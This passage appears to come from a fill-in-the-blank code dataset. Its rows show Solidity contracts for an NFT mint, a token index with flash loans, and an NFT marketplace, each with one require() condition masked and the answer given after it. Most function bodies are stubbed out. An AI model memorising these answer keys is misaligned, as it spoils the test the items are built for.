require(!_exists(tokenIds[i]), "Token has already been claimed");
if (msg.sender != owner()) {
OnChainKevin.safeTransferFrom(msg.sender, burnAddress, tokenIds[i]);
}
_mint(recipient, tokenIds[i]);
}
totalTier2Minted = totalTier2Minted + tokenIds.length;
IBurnedKevins burnedKevins = IBurnedKevins(burnedKevinsContractAddress);
burnedKevins.mint(tokenIds, recipient);
}
function tier1Mint(uint count, address recipient)
internal
whenPaidMintActive
{
}
function mint(uint count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
{
}
function airdrop(uint count, address recipient)
external
payable
nonReentrant
whenMintActive
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function isMintActive() public view returns (bool) {
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setContractData(ContractData memory data)
external
onlyOwner
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMintPrice(uint price) external onlyOwner {
}
function setMaxPerWallet(uint max) external onlyOwner {
}
function setMaxSupplyTier1Limit(uint limit) external onlyOwner {
}
function setOnChainKevinContract(address contractAddress) external onlyOwner {
}
function setBurnedKevinsContract(address contractAddress) external onlyOwner {
}
function setRenderContract(address contractAddress) external onlyOwner {
}
function toggleTier2Mint() external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| totalTier2Minted+tokenIds.length<=MAX_SUPPLY_TIER_2,"All tokens are gone" | 250,222 | totalTier2Minted+tokenIds.length<=MAX_SUPPLY_TIER_2 |
"All tokens are gone" | // SPDX-License-Identifier: MIT
// Indelible Labs LLC
pragma solidity ^0.8.17;
import "./ERC721X.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "solady/src/utils/Base64.sol";
import "./interfaces/IIndelibleProRenderer.sol";
import "./interfaces/IBurnedKevins.sol";
contract IndeliblePro is ERC721X, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
IERC721 public OnChainKevin;
address internal burnAddress = 0x000000000000000000000000000000000000dEaD;
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
mapping(uint => address[]) private _chunks;
mapping(address => uint) private _tier1TokensMinted;
uint private constant MAX_SUPPLY_TIER_1 = 2000;
uint private constant MAX_SUPPLY_TIER_2 = 2000;
bytes32 private merkleRoot;
uint public maxSupplyTier1Limit = 2000;
uint public maxPerWallet = 1;
uint public totalTier1Minted;
uint public totalTier2Minted;
uint public mintPrice = 0.35 ether;
string public baseURI = "";
bool public isAllowListMintActive;
bool public isPublicMintActive;
bool public isTier2MintActive;
address public renderContractAddress;
address public burnedKevinsContractAddress;
ContractData public contractData = ContractData(
"Indelible Pro",
"Indelible Pro grants holders special access to products and services by Indelible Labs.",
"https://app.indelible.xyz/assets/images/indelible-pro.gif",
"https://app.indelible.xyz/assets/images/indelible-pro-banner.png",
"https://indelible.xyz",
1000,
"0x29FbB84b835F892EBa2D331Af9278b74C595EDf1"
);
constructor() ERC721("IndeliblePro", "INDELIBLEPRO") {}
modifier whenMintActive() {
}
modifier whenPaidMintActive() {
}
modifier whenTier2MintActive() {
}
receive() external payable {
}
function maxSupply() public pure returns (uint) {
}
function totalSupply() public view returns (uint) {
}
function burnToMint(uint[] calldata tokenIds, address recipient)
external
nonReentrant
whenTier2MintActive
{
}
function tier1Mint(uint count, address recipient)
internal
whenPaidMintActive
{
require(count > 0, "Invalid token count");
require(<FILL_ME>)
if (isPublicMintActive) {
require(msg.sender == tx.origin, "EOAs only");
}
if (msg.sender != owner()) {
require(_tier1TokensMinted[msg.sender] + count <= maxPerWallet, "Exceeded max mints allowed");
require(count * mintPrice == msg.value, "Incorrect amount of ether sent");
}
for (uint i; i < count; i += 1) {
_mint(recipient, totalTier1Minted + 2000 + i + 1);
}
_tier1TokensMinted[msg.sender] = _tier1TokensMinted[msg.sender] + count;
totalTier1Minted = totalTier1Minted + count;
}
function mint(uint count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
{
}
function airdrop(uint count, address recipient)
external
payable
nonReentrant
whenMintActive
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function isMintActive() public view returns (bool) {
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setContractData(ContractData memory data)
external
onlyOwner
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMintPrice(uint price) external onlyOwner {
}
function setMaxPerWallet(uint max) external onlyOwner {
}
function setMaxSupplyTier1Limit(uint limit) external onlyOwner {
}
function setOnChainKevinContract(address contractAddress) external onlyOwner {
}
function setBurnedKevinsContract(address contractAddress) external onlyOwner {
}
function setRenderContract(address contractAddress) external onlyOwner {
}
function toggleTier2Mint() external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| totalTier1Minted+count<=maxSupplyTier1Limit,"All tokens are gone" | 250,222 | totalTier1Minted+count<=maxSupplyTier1Limit |
"Exceeded max mints allowed" | // SPDX-License-Identifier: MIT
// Indelible Labs LLC
pragma solidity ^0.8.17;
import "./ERC721X.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "solady/src/utils/Base64.sol";
import "./interfaces/IIndelibleProRenderer.sol";
import "./interfaces/IBurnedKevins.sol";
contract IndeliblePro is ERC721X, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
IERC721 public OnChainKevin;
address internal burnAddress = 0x000000000000000000000000000000000000dEaD;
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
mapping(uint => address[]) private _chunks;
mapping(address => uint) private _tier1TokensMinted;
uint private constant MAX_SUPPLY_TIER_1 = 2000;
uint private constant MAX_SUPPLY_TIER_2 = 2000;
bytes32 private merkleRoot;
uint public maxSupplyTier1Limit = 2000;
uint public maxPerWallet = 1;
uint public totalTier1Minted;
uint public totalTier2Minted;
uint public mintPrice = 0.35 ether;
string public baseURI = "";
bool public isAllowListMintActive;
bool public isPublicMintActive;
bool public isTier2MintActive;
address public renderContractAddress;
address public burnedKevinsContractAddress;
ContractData public contractData = ContractData(
"Indelible Pro",
"Indelible Pro grants holders special access to products and services by Indelible Labs.",
"https://app.indelible.xyz/assets/images/indelible-pro.gif",
"https://app.indelible.xyz/assets/images/indelible-pro-banner.png",
"https://indelible.xyz",
1000,
"0x29FbB84b835F892EBa2D331Af9278b74C595EDf1"
);
constructor() ERC721("IndeliblePro", "INDELIBLEPRO") {}
modifier whenMintActive() {
}
modifier whenPaidMintActive() {
}
modifier whenTier2MintActive() {
}
receive() external payable {
}
function maxSupply() public pure returns (uint) {
}
function totalSupply() public view returns (uint) {
}
function burnToMint(uint[] calldata tokenIds, address recipient)
external
nonReentrant
whenTier2MintActive
{
}
function tier1Mint(uint count, address recipient)
internal
whenPaidMintActive
{
require(count > 0, "Invalid token count");
require(totalTier1Minted + count <= maxSupplyTier1Limit, "All tokens are gone");
if (isPublicMintActive) {
require(msg.sender == tx.origin, "EOAs only");
}
if (msg.sender != owner()) {
require(<FILL_ME>)
require(count * mintPrice == msg.value, "Incorrect amount of ether sent");
}
for (uint i; i < count; i += 1) {
_mint(recipient, totalTier1Minted + 2000 + i + 1);
}
_tier1TokensMinted[msg.sender] = _tier1TokensMinted[msg.sender] + count;
totalTier1Minted = totalTier1Minted + count;
}
function mint(uint count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
{
}
function airdrop(uint count, address recipient)
external
payable
nonReentrant
whenMintActive
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function isMintActive() public view returns (bool) {
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setContractData(ContractData memory data)
external
onlyOwner
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMintPrice(uint price) external onlyOwner {
}
function setMaxPerWallet(uint max) external onlyOwner {
}
function setMaxSupplyTier1Limit(uint limit) external onlyOwner {
}
function setOnChainKevinContract(address contractAddress) external onlyOwner {
}
function setBurnedKevinsContract(address contractAddress) external onlyOwner {
}
function setRenderContract(address contractAddress) external onlyOwner {
}
function toggleTier2Mint() external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| _tier1TokensMinted[msg.sender]+count<=maxPerWallet,"Exceeded max mints allowed" | 250,222 | _tier1TokensMinted[msg.sender]+count<=maxPerWallet |
"Incorrect amount of ether sent" | // SPDX-License-Identifier: MIT
// Indelible Labs LLC
pragma solidity ^0.8.17;
import "./ERC721X.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "solady/src/utils/Base64.sol";
import "./interfaces/IIndelibleProRenderer.sol";
import "./interfaces/IBurnedKevins.sol";
contract IndeliblePro is ERC721X, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
IERC721 public OnChainKevin;
address internal burnAddress = 0x000000000000000000000000000000000000dEaD;
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
mapping(uint => address[]) private _chunks;
mapping(address => uint) private _tier1TokensMinted;
uint private constant MAX_SUPPLY_TIER_1 = 2000;
uint private constant MAX_SUPPLY_TIER_2 = 2000;
bytes32 private merkleRoot;
uint public maxSupplyTier1Limit = 2000;
uint public maxPerWallet = 1;
uint public totalTier1Minted;
uint public totalTier2Minted;
uint public mintPrice = 0.35 ether;
string public baseURI = "";
bool public isAllowListMintActive;
bool public isPublicMintActive;
bool public isTier2MintActive;
address public renderContractAddress;
address public burnedKevinsContractAddress;
ContractData public contractData = ContractData(
"Indelible Pro",
"Indelible Pro grants holders special access to products and services by Indelible Labs.",
"https://app.indelible.xyz/assets/images/indelible-pro.gif",
"https://app.indelible.xyz/assets/images/indelible-pro-banner.png",
"https://indelible.xyz",
1000,
"0x29FbB84b835F892EBa2D331Af9278b74C595EDf1"
);
constructor() ERC721("IndeliblePro", "INDELIBLEPRO") {}
modifier whenMintActive() {
}
modifier whenPaidMintActive() {
}
modifier whenTier2MintActive() {
}
receive() external payable {
}
function maxSupply() public pure returns (uint) {
}
function totalSupply() public view returns (uint) {
}
function burnToMint(uint[] calldata tokenIds, address recipient)
external
nonReentrant
whenTier2MintActive
{
}
function tier1Mint(uint count, address recipient)
internal
whenPaidMintActive
{
require(count > 0, "Invalid token count");
require(totalTier1Minted + count <= maxSupplyTier1Limit, "All tokens are gone");
if (isPublicMintActive) {
require(msg.sender == tx.origin, "EOAs only");
}
if (msg.sender != owner()) {
require(_tier1TokensMinted[msg.sender] + count <= maxPerWallet, "Exceeded max mints allowed");
require(<FILL_ME>)
}
for (uint i; i < count; i += 1) {
_mint(recipient, totalTier1Minted + 2000 + i + 1);
}
_tier1TokensMinted[msg.sender] = _tier1TokensMinted[msg.sender] + count;
totalTier1Minted = totalTier1Minted + count;
}
function mint(uint count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
{
}
function airdrop(uint count, address recipient)
external
payable
nonReentrant
whenMintActive
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function isMintActive() public view returns (bool) {
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setContractData(ContractData memory data)
external
onlyOwner
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMintPrice(uint price) external onlyOwner {
}
function setMaxPerWallet(uint max) external onlyOwner {
}
function setMaxSupplyTier1Limit(uint limit) external onlyOwner {
}
function setOnChainKevinContract(address contractAddress) external onlyOwner {
}
function setBurnedKevinsContract(address contractAddress) external onlyOwner {
}
function setRenderContract(address contractAddress) external onlyOwner {
}
function toggleTier2Mint() external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| count*mintPrice==msg.value,"Incorrect amount of ether sent" | 250,222 | count*mintPrice==msg.value |
'TFRVAL' | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import './interfaces/IDecentralizedIndex.sol';
import './interfaces/IERC20Metadata.sol';
import './interfaces/IFlashLoanRecipient.sol';
import './interfaces/ITokenRewards.sol';
import './interfaces/IUniswapV2Factory.sol';
import './interfaces/IUniswapV2Router02.sol';
import './StakingPoolToken.sol';
abstract contract DecentralizedIndex is IDecentralizedIndex, ERC20 {
using SafeERC20 for IERC20;
uint256 public constant override FLASH_FEE_DAI = 10; // 10 DAI
uint256 public immutable override BOND_FEE;
uint256 public immutable override DEBOND_FEE;
address immutable V2_ROUTER;
address immutable V2_POOL;
address immutable DAI;
address immutable WETH;
IV3TwapUtilities immutable V3_TWAP_UTILS;
IndexType public override indexType;
uint256 public override created;
address public override lpStakingPool;
address public override lpRewardsToken;
IndexAssetInfo[] public indexTokens;
mapping(address => bool) _isTokenInIndex;
mapping(address => uint256) _fundTokenIdx;
bool _swapping;
bool _swapOn = true;
event FlashLoan(
address indexed executor,
address indexed recipient,
address token,
uint256 amount
);
modifier noSwap() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _bondFee,
uint256 _debondFee,
address _lpRewardsToken,
address _v2Router,
address _dai,
bool _stakeRestriction,
IV3TwapUtilities _v3TwapUtilities
) ERC20(_name, _symbol) {
}
function _transfer(
address _from,
address _to,
uint256 _amount
) internal virtual override {
}
function _feeSwap(uint256 _amount) internal {
}
function _transferAndValidate(
IERC20 _token,
address _sender,
uint256 _amount
) internal {
uint256 _balanceBefore = _token.balanceOf(address(this));
_token.safeTransferFrom(_sender, address(this), _amount);
require(<FILL_ME>)
}
function _isFirstIn() internal view returns (bool) {
}
function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
}
function isAsset(address _token) public view override returns (bool) {
}
function getAllAssets()
external
view
override
returns (IndexAssetInfo[] memory)
{
}
function addLiquidityV2(
uint256 _idxLPTokens,
uint256 _daiLPTokens,
uint256 _slippage // 100 == 10%, 1000 == 100%
) external override noSwap {
}
function removeLiquidityV2(
uint256 _lpTokens,
uint256 _minIdxTokens, // 0 == 100% slippage
uint256 _minDAI // 0 == 100% slippage
) external override noSwap {
}
function flash(
address _recipient,
address _token,
uint256 _amount,
bytes calldata _data
) external override {
}
function rescueERC20(address _token) external {
}
function rescueETH() external {
}
function _rescueETH(uint256 _amount) internal {
}
receive() external payable {
}
}
| _token.balanceOf(address(this))>=_balanceBefore+_amount,'TFRVAL' | 250,242 | _token.balanceOf(address(this))>=_balanceBefore+_amount |
'FLASHAFTER' | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import './interfaces/IDecentralizedIndex.sol';
import './interfaces/IERC20Metadata.sol';
import './interfaces/IFlashLoanRecipient.sol';
import './interfaces/ITokenRewards.sol';
import './interfaces/IUniswapV2Factory.sol';
import './interfaces/IUniswapV2Router02.sol';
import './StakingPoolToken.sol';
abstract contract DecentralizedIndex is IDecentralizedIndex, ERC20 {
using SafeERC20 for IERC20;
uint256 public constant override FLASH_FEE_DAI = 10; // 10 DAI
uint256 public immutable override BOND_FEE;
uint256 public immutable override DEBOND_FEE;
address immutable V2_ROUTER;
address immutable V2_POOL;
address immutable DAI;
address immutable WETH;
IV3TwapUtilities immutable V3_TWAP_UTILS;
IndexType public override indexType;
uint256 public override created;
address public override lpStakingPool;
address public override lpRewardsToken;
IndexAssetInfo[] public indexTokens;
mapping(address => bool) _isTokenInIndex;
mapping(address => uint256) _fundTokenIdx;
bool _swapping;
bool _swapOn = true;
event FlashLoan(
address indexed executor,
address indexed recipient,
address token,
uint256 amount
);
modifier noSwap() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _bondFee,
uint256 _debondFee,
address _lpRewardsToken,
address _v2Router,
address _dai,
bool _stakeRestriction,
IV3TwapUtilities _v3TwapUtilities
) ERC20(_name, _symbol) {
}
function _transfer(
address _from,
address _to,
uint256 _amount
) internal virtual override {
}
function _feeSwap(uint256 _amount) internal {
}
function _transferAndValidate(
IERC20 _token,
address _sender,
uint256 _amount
) internal {
}
function _isFirstIn() internal view returns (bool) {
}
function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
}
function isAsset(address _token) public view override returns (bool) {
}
function getAllAssets()
external
view
override
returns (IndexAssetInfo[] memory)
{
}
function addLiquidityV2(
uint256 _idxLPTokens,
uint256 _daiLPTokens,
uint256 _slippage // 100 == 10%, 1000 == 100%
) external override noSwap {
}
function removeLiquidityV2(
uint256 _lpTokens,
uint256 _minIdxTokens, // 0 == 100% slippage
uint256 _minDAI // 0 == 100% slippage
) external override noSwap {
}
function flash(
address _recipient,
address _token,
uint256 _amount,
bytes calldata _data
) external override {
address _rewards = StakingPoolToken(lpStakingPool).poolRewards();
IERC20(DAI).safeTransferFrom(
_msgSender(),
_rewards,
FLASH_FEE_DAI * 10 ** IERC20Metadata(DAI).decimals()
);
uint256 _balance = IERC20(_token).balanceOf(address(this));
IERC20(_token).safeTransfer(_recipient, _amount);
IFlashLoanRecipient(_recipient).callback(_data);
require(<FILL_ME>)
emit FlashLoan(_msgSender(), _recipient, _token, _amount);
}
function rescueERC20(address _token) external {
}
function rescueETH() external {
}
function _rescueETH(uint256 _amount) internal {
}
receive() external payable {
}
}
| IERC20(_token).balanceOf(address(this))>=_balance,'FLASHAFTER' | 250,242 | IERC20(_token).balanceOf(address(this))>=_balance |
'UNAVAILABLE' | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import './interfaces/IDecentralizedIndex.sol';
import './interfaces/IERC20Metadata.sol';
import './interfaces/IFlashLoanRecipient.sol';
import './interfaces/ITokenRewards.sol';
import './interfaces/IUniswapV2Factory.sol';
import './interfaces/IUniswapV2Router02.sol';
import './StakingPoolToken.sol';
abstract contract DecentralizedIndex is IDecentralizedIndex, ERC20 {
using SafeERC20 for IERC20;
uint256 public constant override FLASH_FEE_DAI = 10; // 10 DAI
uint256 public immutable override BOND_FEE;
uint256 public immutable override DEBOND_FEE;
address immutable V2_ROUTER;
address immutable V2_POOL;
address immutable DAI;
address immutable WETH;
IV3TwapUtilities immutable V3_TWAP_UTILS;
IndexType public override indexType;
uint256 public override created;
address public override lpStakingPool;
address public override lpRewardsToken;
IndexAssetInfo[] public indexTokens;
mapping(address => bool) _isTokenInIndex;
mapping(address => uint256) _fundTokenIdx;
bool _swapping;
bool _swapOn = true;
event FlashLoan(
address indexed executor,
address indexed recipient,
address token,
uint256 amount
);
modifier noSwap() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _bondFee,
uint256 _debondFee,
address _lpRewardsToken,
address _v2Router,
address _dai,
bool _stakeRestriction,
IV3TwapUtilities _v3TwapUtilities
) ERC20(_name, _symbol) {
}
function _transfer(
address _from,
address _to,
uint256 _amount
) internal virtual override {
}
function _feeSwap(uint256 _amount) internal {
}
function _transferAndValidate(
IERC20 _token,
address _sender,
uint256 _amount
) internal {
}
function _isFirstIn() internal view returns (bool) {
}
function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
}
function isAsset(address _token) public view override returns (bool) {
}
function getAllAssets()
external
view
override
returns (IndexAssetInfo[] memory)
{
}
function addLiquidityV2(
uint256 _idxLPTokens,
uint256 _daiLPTokens,
uint256 _slippage // 100 == 10%, 1000 == 100%
) external override noSwap {
}
function removeLiquidityV2(
uint256 _lpTokens,
uint256 _minIdxTokens, // 0 == 100% slippage
uint256 _minDAI // 0 == 100% slippage
) external override noSwap {
}
function flash(
address _recipient,
address _token,
uint256 _amount,
bytes calldata _data
) external override {
}
function rescueERC20(address _token) external {
// cannot withdraw tokens/assets that belong to the index
require(<FILL_ME>)
IERC20(_token).safeTransfer(
Ownable(address(V3_TWAP_UTILS)).owner(),
IERC20(_token).balanceOf(address(this))
);
}
function rescueETH() external {
}
function _rescueETH(uint256 _amount) internal {
}
receive() external payable {
}
}
| !isAsset(_token)&&_token!=address(this),'UNAVAILABLE' | 250,242 | !isAsset(_token)&&_token!=address(this) |
null | pragma solidity >=0.4.22 <0.9.0;
contract NFTMarketPlace is ReentrancyGuard {
address payable owner;
uint256 marketFees = 0.001 ether;
using Counters for Counters.Counter;
Counters.Counter private itemId;
Counters.Counter private itemsSold;
constructor(){
}
struct NftMerketItem{
address nftContract;
uint256 id;
uint256 tokenId;
//=>
address payable creator;
address payable seller;
address payable owner;
uint256 price;
bool sold;
address oldOwner;
address oldSeller;
uint256 oldPrice;
bool isResell;
bool isBanned;
bool soldFirstTime;
}
event NftMarketItemCreated(
address indexed nftContract,
uint256 indexed id,
uint256 tokenId,
//=>
address creator,
address seller,
address owner,
uint256 price,
bool sold,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//=>
event ProductUpdated(
uint256 indexed id,
uint256 indexed newPrice,
bool sold,
address owner,
address seller,
bool isBanned,
bool soldFirstTime
);
//=>
//=>
event ProductSold(
uint256 indexed id,
address indexed nftContract,
uint256 indexed tokenId,
address creator,
address seller,
address owner,
uint256 price,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//==>
event ProductListed(
uint256 indexed itemId
);
///=>
modifier onlyProductOrMarketPlaceOwner(uint256 id) {
if (idForMarketItem[id].owner != address(0)) {
require(<FILL_ME>)
} else {
require(
idForMarketItem[id].seller == msg.sender || msg.sender == owner
);
}
_;
}
modifier onlyProductSeller(uint256 id) {
}
modifier onlyItemOwner(uint256 id) {
}
modifier onlyItemOldOwner(uint256 id) {
}
function gettheMarketFees()public view returns(uint256){
}
///////////////////////////////////
mapping(uint256=>NftMerketItem) private idForMarketItem;
///////////////////////////////////
function createItemForSale(address nftContract,uint256 tokenId,uint256 price)public payable nonReentrant {
}
//Buy nft
function buyNFt(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//REsell
function putItemToResell(address nftContract, uint256 itemId, uint256 newPrice)
public
payable
nonReentrant
onlyItemOwner(itemId)
{
}
//TO DO Send when cancel fees to Owner
function cancelResellWitholdPrice(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//Bloack any NFT
function blockNFtItem(uint256 nftItemId) public payable nonReentrant {
}
///FETCH SINGLE NFT
function fetchSingleItem(uint256 id) public view returns (NftMerketItem memory)
{
}
//=>Update Item =>We Dont Use This
function getMyItemCreated() public view returns(NftMerketItem[] memory){
}
//Create My purchased Nft Item
function getMyNFTPurchased() public view returns(NftMerketItem[] memory){
}
//Fetch all unsold nft items
function getAllUnsoldItems()public view returns (NftMerketItem[] memory){
}
//Get resell my items
function getMyResellItems() public view returns(NftMerketItem[] memory){
}
function getAllBlockItems()public view returns (NftMerketItem[] memory){
}
function getAllUnBlockItems()public view returns (NftMerketItem[] memory){
}
}
| idForMarketItem[id].owner==msg.sender | 250,306 | idForMarketItem[id].owner==msg.sender |
null | pragma solidity >=0.4.22 <0.9.0;
contract NFTMarketPlace is ReentrancyGuard {
address payable owner;
uint256 marketFees = 0.001 ether;
using Counters for Counters.Counter;
Counters.Counter private itemId;
Counters.Counter private itemsSold;
constructor(){
}
struct NftMerketItem{
address nftContract;
uint256 id;
uint256 tokenId;
//=>
address payable creator;
address payable seller;
address payable owner;
uint256 price;
bool sold;
address oldOwner;
address oldSeller;
uint256 oldPrice;
bool isResell;
bool isBanned;
bool soldFirstTime;
}
event NftMarketItemCreated(
address indexed nftContract,
uint256 indexed id,
uint256 tokenId,
//=>
address creator,
address seller,
address owner,
uint256 price,
bool sold,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//=>
event ProductUpdated(
uint256 indexed id,
uint256 indexed newPrice,
bool sold,
address owner,
address seller,
bool isBanned,
bool soldFirstTime
);
//=>
//=>
event ProductSold(
uint256 indexed id,
address indexed nftContract,
uint256 indexed tokenId,
address creator,
address seller,
address owner,
uint256 price,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//==>
event ProductListed(
uint256 indexed itemId
);
///=>
modifier onlyProductOrMarketPlaceOwner(uint256 id) {
if (idForMarketItem[id].owner != address(0)) {
require(idForMarketItem[id].owner == msg.sender);
} else {
require(<FILL_ME>)
}
_;
}
modifier onlyProductSeller(uint256 id) {
}
modifier onlyItemOwner(uint256 id) {
}
modifier onlyItemOldOwner(uint256 id) {
}
function gettheMarketFees()public view returns(uint256){
}
///////////////////////////////////
mapping(uint256=>NftMerketItem) private idForMarketItem;
///////////////////////////////////
function createItemForSale(address nftContract,uint256 tokenId,uint256 price)public payable nonReentrant {
}
//Buy nft
function buyNFt(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//REsell
function putItemToResell(address nftContract, uint256 itemId, uint256 newPrice)
public
payable
nonReentrant
onlyItemOwner(itemId)
{
}
//TO DO Send when cancel fees to Owner
function cancelResellWitholdPrice(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//Bloack any NFT
function blockNFtItem(uint256 nftItemId) public payable nonReentrant {
}
///FETCH SINGLE NFT
function fetchSingleItem(uint256 id) public view returns (NftMerketItem memory)
{
}
//=>Update Item =>We Dont Use This
function getMyItemCreated() public view returns(NftMerketItem[] memory){
}
//Create My purchased Nft Item
function getMyNFTPurchased() public view returns(NftMerketItem[] memory){
}
//Fetch all unsold nft items
function getAllUnsoldItems()public view returns (NftMerketItem[] memory){
}
//Get resell my items
function getMyResellItems() public view returns(NftMerketItem[] memory){
}
function getAllBlockItems()public view returns (NftMerketItem[] memory){
}
function getAllUnBlockItems()public view returns (NftMerketItem[] memory){
}
}
| idForMarketItem[id].seller==msg.sender||msg.sender==owner | 250,306 | idForMarketItem[id].seller==msg.sender||msg.sender==owner |
"Only the product can do this operation" | pragma solidity >=0.4.22 <0.9.0;
contract NFTMarketPlace is ReentrancyGuard {
address payable owner;
uint256 marketFees = 0.001 ether;
using Counters for Counters.Counter;
Counters.Counter private itemId;
Counters.Counter private itemsSold;
constructor(){
}
struct NftMerketItem{
address nftContract;
uint256 id;
uint256 tokenId;
//=>
address payable creator;
address payable seller;
address payable owner;
uint256 price;
bool sold;
address oldOwner;
address oldSeller;
uint256 oldPrice;
bool isResell;
bool isBanned;
bool soldFirstTime;
}
event NftMarketItemCreated(
address indexed nftContract,
uint256 indexed id,
uint256 tokenId,
//=>
address creator,
address seller,
address owner,
uint256 price,
bool sold,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//=>
event ProductUpdated(
uint256 indexed id,
uint256 indexed newPrice,
bool sold,
address owner,
address seller,
bool isBanned,
bool soldFirstTime
);
//=>
//=>
event ProductSold(
uint256 indexed id,
address indexed nftContract,
